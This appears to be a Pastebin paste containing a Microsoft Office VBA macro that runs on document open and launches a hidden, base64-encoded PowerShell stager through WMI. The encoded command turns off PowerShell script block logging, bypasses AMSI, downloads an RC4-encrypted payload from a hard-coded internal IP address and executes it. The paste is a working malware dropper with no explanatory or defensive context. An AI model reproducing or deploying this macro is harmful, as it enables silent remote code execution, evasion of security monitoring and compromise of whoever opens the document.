Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Sub Auto_Open()
- a
- End Sub
- Sub AutoOpen()
- a
- End Sub
- Sub Document_Open()
- a
- End Sub
- Public Function a() As Variant
- Dim FJJL As String
- FJJL = "powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVg"
- FJJL = FJJL + "BFAFIAcwBpAG8AbgBUAGEAYgBsAEUALgBQAFMAVgBFAHIAcwBp"
- FJJL = FJJL + "AE8ATgAuAE0AYQBqAE8AcgAgAC0ARwBlACAAMwApAHsAJABHAF"
- FJJL = FJJL + "AARgA9AFsAcgBFAEYAXQAuAEEAcwBzAGUATQBiAGwAWQAuAEcA"
- FJJL = FJJL + "RQB0AFQAWQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
- FJJL = FJJL + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
- FJJL = FJJL + "AHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkAZQBgAEwAZAAiAC"
- FJJL = FJJL + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
- FJJL = FJJL + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
- FJJL = FJJL + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABH"
- FJJL = FJJL + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAVABWAG"
- FJJL = FJJL + "EAbAB1AEUAKAAkAE4AdQBMAEwAKQA7AEkAZgAoACQARwBQAEMA"
- FJJL = FJJL + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
- FJJL = FJJL + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
- FJJL = FJJL + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
- FJJL = FJJL + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
- FJJL = FJJL + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
- FJJL = FJJL + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
- FJJL = FJJL + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
- FJJL = FJJL + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
- FJJL = FJJL + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAFYAYQBsAD0AWwBDAE8AbA"
- FJJL = FJJL + "BsAGUAYwB0AEkATwBuAFMALgBHAGUAbgBlAHIASQBjAC4ARABp"
- FJJL = FJJL + "AGMAdABJAE8ATgBhAFIAeQBbAHMAVABSAEkATgBHACwAUwB5AH"
- FJJL = FJJL + "MAdABlAE0ALgBPAGIASgBFAGMAdABdAF0AOgA6AE4ARQBXACgA"
- FJJL = FJJL + "KQA7ACQAdgBBAGwALgBBAEQARAAoACcARQBuAGEAYgBsAGUAUw"
- FJJL = FJJL + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
- FJJL = FJJL + "AGcAJwAsADAAKQA7ACQAdgBBAEwALgBBAEQARAAoACcARQBuAG"
- FJJL = FJJL + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
- FJJL = FJJL + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
- FJJL = FJJL + "BHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
- FJJL = FJJL + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
- FJJL = FJJL + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
- FJJL = FJJL + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
- FJJL = FJJL + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
- FJJL = FJJL + "AD0AJAB2AEEAbAB9AEUAbABzAEUAewBbAFMAYwByAEkAcAB0AE"
- FJJL = FJJL + "IATABvAGMASwBdAC4AIgBHAEUAVABGAGkARQBgAEwAZAAiACgA"
- FJJL = FJJL + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
- FJJL = FJJL + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBl"
- FJJL = FJJL + "AFQAVgBhAGwAdQBlACgAJABuAHUATABsACwAKABOAEUAVwAtAE"
- FJJL = FJJL + "8AYgBqAEUAYwB0ACAAQwBPAEwAbABFAGMAVABpAG8ATgBzAC4A"
- FJJL = FJJL + "RwBlAE4ARQBSAEkAQwAuAEgAQQBzAGgAUwBlAFQAWwBzAFQAcg"
- FJJL = FJJL + "BpAG4AZwBdACkAKQB9AFsAUgBlAEYAXQAuAEEAcwBzAEUAbQBC"
- FJJL = FJJL + "AGwAeQAuAEcARQB0AFQAeQBwAEUAKAAnAFMAeQBzAHQAZQBtAC"
- FJJL = FJJL + "4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQA"
- FJJL = FJJL + "aQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJA"
- FJJL = FJJL + "BfAH0AfAAlAHsAJABfAC4ARwBlAFQARgBJAEUATABkACgAJwBh"
- FJJL = FJJL + "AG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG"
- FJJL = FJJL + "4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUA"
- FJJL = FJJL + "VABWAGEATAB1AGUAKAAkAE4AdQBMAEwALAAkAHQAcgB1AGUAKQ"
- FJJL = FJJL + "B9ADsAfQA7AFsAUwBZAHMAVABFAG0ALgBOAEUAVAAuAFMARQBS"
- FJJL = FJJL + "AHYAaQBjAGUAUABvAEkAbgB0AE0AYQBOAEEARwBFAHIAXQA6AD"
- FJJL = FJJL + "oARQBYAFAAZQBjAHQAMQAwADAAQwBPAE4AdABpAG4AdQBlAD0A"
- FJJL = FJJL + "MAA7ACQAdwBDAD0ATgBFAFcALQBPAGIAagBlAGMAdAAgAFMAeQ"
- FJJL = FJJL + "BTAFQARQBNAC4ATgBlAFQALgBXAEUAYgBDAEwAaQBFAE4AVAA7"
- FJJL = FJJL + "ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG"
- FJJL = FJJL + "kAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA"
- FJJL = FJJL + "NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOg"
- FJJL = FJJL + "AxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAk"
- FJJL = FJJL + "AFcAYwAuAEgAZQBBAEQAZQByAHMALgBBAGQARAAoACcAVQBzAG"
- FJJL = FJJL + "UAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAA"
- FJJL = FJJL + "UgBPAHgAWQA9AFsAUwBZAFMAVABFAE0ALgBOAEUAVAAuAFcARQ"
- FJJL = FJJL + "BiAFIARQBRAHUARQBzAFQAXQA6ADoARABFAEYAQQBVAGwAdABX"
- FJJL = FJJL + "AEUAQgBQAFIAbwB4AFkAOwAkAHcAQwAuAFAAcgBvAHgAWQAuAE"
- FJJL = FJJL + "MAcgBlAGQAZQBOAHQAaQBhAEwAUwAgAD0AIABbAFMAeQBTAHQA"
- FJJL = FJJL + "RQBNAC4ATgBFAFQALgBDAHIAZQBkAEUATgBUAGkAQQBMAEMAYQ"
- FJJL = FJJL + "BDAGgAZQBdADoAOgBEAGUAZgBBAHUAbAB0AE4AZQB0AHcATwBy"
- FJJL = FJJL + "AGsAQwByAEUARABlAE4AdABpAGEAbABzADsAJABTAGMAcgBpAH"
- FJJL = FJJL + "AAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgA"
- FJJL = FJJL + "eQA7ACQASwA9AFsAUwB5AFMAVABFAG0ALgBUAGUAWAB0AC4ARQ"
- FJJL = FJJL + "BOAGMATwBkAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcARQBU"
- FJJL = FJJL + "AEIAeQBUAGUAcwAoACcAegBYAC0AUQBWAG0AMgBVAGsAJQBUAD"
- FJJL = FJJL + "AASABAAFAALwBSAHMAIQBxACoAWwBXAE4AYQBmAHIAXQA9ACkA"
- FJJL = FJJL + "UwA+ACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIAZw"
- FJJL = FJJL + "BTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8"
- FJJL = FJJL + "ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAF"
- FJJL = FJJL + "sAJABfACUAJABLAC4AQwBPAHUAbgB0AF0AKQAlADIANQA2ADsA"
- FJJL = FJJL + "JABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASg"
- FJJL = FJJL + "BdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAo"
- FJJL = FJJL + "ACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAF"
- FJJL = FJJL + "MAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQA"
- FJJL = FJJL + "UwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQ"
- FJJL = FJJL + "A7ACQAXwAtAGIAeABPAHIAJABTAFsAKAAkAFMAWwAkAEkAXQAr"
- FJJL = FJJL + "ACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAH"
- FJJL = FJJL + "IAPQAnAGgAdAB0AHAAOgAvAC8AMQA3ADIALgAzADEALgAzADcA"
- FJJL = FJJL + "LgAxADcAMQA6ADgAMAAnADsAJAB0AD0AJwAvAG4AZQB3AHMALg"
- FJJL = FJJL + "BwAGgAcAAnADsAJABXAGMALgBIAEUAYQBkAGUAUgBTAC4AQQBk"
- FJJL = FJJL + "AGQAKAAiAEMAbwBvAGsAaQBlACIALAAiAHMAZQBzAHMAaQBvAG"
- FJJL = FJJL + "4APQBPADcANgBsAHQAaQBFAFoAMAAxAGcAcgBPADQAUwBNAGkA"
- FJJL = FJJL + "RgBLAE0AMgA2ADgAUQBOAEcAQQA9ACIAKQA7ACQAZABhAHQAYQ"
- FJJL = FJJL + "A9ACQAVwBDAC4ARABPAFcATgBsAE8AQQBkAEQAQQB0AGEAKAAk"
- FJJL = FJJL + "AHMARQBSACsAJABUACkAOwAkAEkAVgA9ACQARABhAHQAQQBbAD"
- FJJL = FJJL + "AALgAuADMAXQA7ACQAZABhAHQAQQA9ACQARABBAFQAQQBbADQA"
- FJJL = FJJL + "LgAuACQARABhAFQAYQAuAEwAZQBOAGcAdABoAF0AOwAtAGoAbw"
- FJJL = FJJL + "BpAG4AWwBDAEgAYQByAFsAXQBdACgAJgAgACQAUgAgACQAZABB"
- FJJL = FJJL + "AHQAYQAgACgAJABJAFYAKwAkAEsAKQApAHwASQBFAFgA"
- Const HIDDEN_WINDOW = 0
- strComputer = "."
- Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
- Set objStartup = objWMIService.Get("Win32_ProcessStartup")
- Set objConfig = objStartup.SpawnInstance_
- objConfig.ShowWindow = HIDDEN_WINDOW
- Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
- objProcess.Create FJJL, Null, objConfig, intProcessID
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement